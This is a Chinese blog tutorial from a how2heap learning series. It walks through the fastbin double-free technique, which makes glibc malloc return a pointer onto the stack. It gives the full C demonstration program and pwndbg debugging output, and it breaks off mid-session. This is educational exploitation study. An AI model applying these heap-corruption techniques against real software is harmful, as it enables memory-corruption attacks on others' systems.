从零开始学howtoheap:fastbins的double-free攻击实操1

 how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的double-free攻击

下面的程序展示了fastbins的double-free攻击,可以泄露出一块已经被分配的内存指针。fastbins 可以看成一个后进先出的栈,使用单链表来实现,通过fastbin->fd来遍历。由于free的过程会对free list做检查,我们不能连续两次free同一个chunk,所以这里在两次free 之间,增加了一次对其他chunk的free 过程,从而绕过了检查顺利执行,然后再malloc三次,就在同一个地址malloc了两次,也就有了两个指向同一块内存区域的指针。更具体地展示了上一个程序从零开始学howtoheap:理解fastbins的double-free攻击-CSDN博客所介绍的技巧,通过欺骗malloc 来返回一个我们可控的区域的指针 (在这个例子中,我们可以返回一个栈指针)

2.fastbin_dup_into_stack程序

​ 这个程序更具体地展示了上一个程序所介绍的技巧,通过欺骗malloc 来返回一个我们可控的区域的指针 (在这个例子中,我们可以返回一个栈指针)

​ 源码如下。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    fprintf(stderr, "这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)\n");
    unsigned long long stack_var;

    fprintf(stderr, "我们想通过 malloc 申请到 %p.\n", 8+(char *)&stack_var);

    fprintf(stderr, "先申请3 个 chunk\n");
    char* a = malloc(8);
    strcpy(a, "AAAAAAAA");
    char* b = malloc(8);
    strcpy(b, "BBBBBBBB");
    char* c = malloc(8);
    strcpy(c, "CCCCCCCC");
    
    fprintf(stderr, "chunk a: %p\n", a);
    fprintf(stderr, "chunk b: %p\n", b);
    fprintf(stderr, "chunk c: %p\n", c);

    fprintf(stderr, "free 掉 chunk a\n");
    free(a);

    fprintf(stderr, "如果还对 %p 进行 free, 程序会崩溃。因为 %p 现在是 fastbin 的第一个\n", a, a);
    // free(a);
    fprintf(stderr, "先对 b %p 进行 free\n", b);
    free(b);

    fprintf(stderr, "接下来就可以对 %p 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了\n", a);
    free(a);

    fprintf(stderr, "现在 fastbin 的链表是 [ %p, %p, %p ] 接下来通过修改 %p 上的内容来进行攻击.\n", a, b, a, a);
    unsigned long long *d = malloc(8);

    fprintf(stderr, "第一次 malloc(8): %p\n", d);
    char* e = malloc(8);
    strcpy(e, "EEEEEEEE");
    fprintf(stderr, "第二次 malloc(8): %p\n", e);
    fprintf(stderr, "现在 fastbin 表中只剩 [ %p ] 了\n", a);
    fprintf(stderr, "接下来往 %p 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去\n", a);
    stack_var = 0x20;

    fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
    
    char* f = malloc(8);
    strcpy(f, "FFFFFFFF");
    fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
    char* g = malloc(8);
    strcpy(g, "GGGGGGGG");
    fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
}

3.调试fastbin_dup_into_stack

3.1 获得可执行程序 

gcc -g fastbin_dup_into_stack.c -o fastbin_dup_into_stack

3.2 第一次调试程序

调试环境搭建可参考环境从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

root@pwn_test1604:/ctf/work/how2heap# gdb ./fastbin_dup_into_stack
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./fastbin_dup_into_stack...done.
pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup_into_stack 
这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)
我们想通过 malloc 申请到 0x7fffffffe570.
先申请3 个 chunk
chunk a: 0x603010
chunk b: 0x603030
chunk c: 0x603050
free 掉 chunk a
如果还对 0x603010 进行 free, 程序会崩溃。因为 0x603010 现在是 fastbin 的第一个
先对 b 0x603030 进行 free
接下来就可以对 0x603010 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了
现在 fastbin 的链表是 [ 0x603010, 0x603030, 0x603010 ] 接下来通过修改 0x603010 上的内容来进行攻击.
第一次 malloc(8): 0x603010
第二次 malloc(8): 0x603030
现在 fastbin 表中只剩 [ 0x603010 ] 了
接下来往 0x603010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x603010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置
第三次 malloc(8): 0x603010, 把栈地址放到 fastbin 链表中
这一次 malloc(8) 就申请到了栈上去: 0x7fffffffe570
[Inferior 1 (process 147) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 下相应的断点并走起

三次malloc之后

pwndbg> b 20
Breakpoint 1 at 0x400786: file fastbin_dup_into_stack.c, line 20.
pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup_into_stack 
这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)
我们想通过 malloc 申请到 0x7fffffffe570.
先申请3 个 chunk

Breakpoint 1, main () at fastbin_dup_into_stack.c:20
20          fprintf(stderr, "chunk a: %p\n", a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x603050 ◂— 'CCCCCCCC'
 RBX  0x0
 RCX  0x4343434343434343 ('CCCCCCCC')
 RDX  0x603050 ◂— 'CCCCCCCC'
 RDI  0x0
 RSI  0x603060 ◂— 0x0
 R8   0x603000 ◂— 0x0
 R9   0xd
 R10  0x7ffff7dd1b78 (main_arena+88) —▸ 0x603060 ◂— 0x0
 R11  0x0
 R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
 RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
 RIP  0x400786 (main+224) ◂— 0x48002018d3058b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400786 <main+224>    mov    rax, qword ptr [rip + 0x2018d3] <0x602060>
   0x40078d <main+231>    mov    rdx, qword ptr [rbp - 0x40]
   0x400791 <main+235>    mov    esi, 0x400b64
   0x400796 <main+240>    mov    rdi, rax
   0x400799 <main+243>    mov    eax, 0
   0x40079e <main+248>    call   fprintf@plt <0x400570>
 
   0x4007a3 <main+253>    mov    rax, qword ptr [rip + 0x2018b6] <0x602060>
   0x4007aa <main+260>    mov    rdx, qword ptr [rbp - 0x38]
   0x4007ae <main+264>    mov    esi, 0x400b71
   0x4007b3 <main+269>    mov    rdi, rax
   0x4007b6 <main+272>    mov    eax, 0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
   15     char* b = malloc(8);
   16     strcpy(b, "BBBBBBBB");
   17     char* c = malloc(8);
   18     strcpy(c, "CCCCCCCC");
   19     
 ► 20     fprintf(stderr, "chunk a: %p\n", a);
   21     fprintf(stderr, "chunk b: %p\n", b);
   22     fprintf(stderr, "chunk c: %p\n", c);
   23 
   24     fprintf(stderr, "free 掉 chunk a\n");
   25     free(a);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│      0x7fffffffe568 ◂— 0x0
02:0010│      0x7fffffffe570 —▸ 0x603010 ◂— 'AAAAAAAA'
03:0018│      0x7fffffffe578 —▸ 0x603030 ◂— 'BBBBBBBB'
04:0020│      0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│      0x7fffffffe588 ◂— 0x0
06:0030│      0x7fffffffe590 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
07:0038│      0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400786 main+224
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:20
pwndbg> parsehead
Undefined command: "parsehead".  Try "help".
pwndbg> parseheap
addr                prev                size 
  • 35
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值